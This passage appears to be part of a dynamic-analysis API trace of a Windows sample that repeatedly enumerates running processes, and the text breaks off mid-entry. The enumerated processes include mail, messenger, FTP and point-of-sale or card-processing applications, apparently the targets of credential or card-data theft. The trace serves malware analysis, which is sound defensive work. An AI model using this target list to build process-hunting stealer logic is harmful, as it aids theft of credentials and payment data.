dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0219.954] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0219.957] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0219.960] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0219.963] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0219.965] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0219.971] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0219.974] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0219.976] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0219.979] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0220.023] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0220.026] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0220.029] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0220.031] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0220.034] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0220.036] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0220.039] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0220.042] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0220.044] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0220.046] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0220.049] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0220.052] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0220.054] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0220.057] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0220.059] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0220.062] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0220.065] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0220.067] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0220.070] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0220.072] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0220.075] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0220.078] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.080] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0220.087] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0220.090] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0220.093] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0220.096] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0220.099] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0220.101] CloseHandle (hObject=0x11c8) returned 1 [0220.101] Sleep (dwMilliseconds=0x64) [0220.103] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0220.129] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.130] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0220.132] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0220.165] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.169] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0220.173] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.176] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0220.179] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0220.182] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0220.184] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.187] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.192] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0220.194] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.196] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.198] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.200] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.203] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.205] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.208] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.210] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0220.212] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0220.215] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0220.218] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.220] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0220.224] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0220.226] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0220.228] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0220.231] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0220.234] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0220.236] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0220.239] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.241] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0220.243] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0220.246] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0220.248] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0220.250] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0220.257] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0220.260] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0220.261] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0220.263] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0220.266] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0220.269] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0220.272] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0220.275] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0220.277] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now 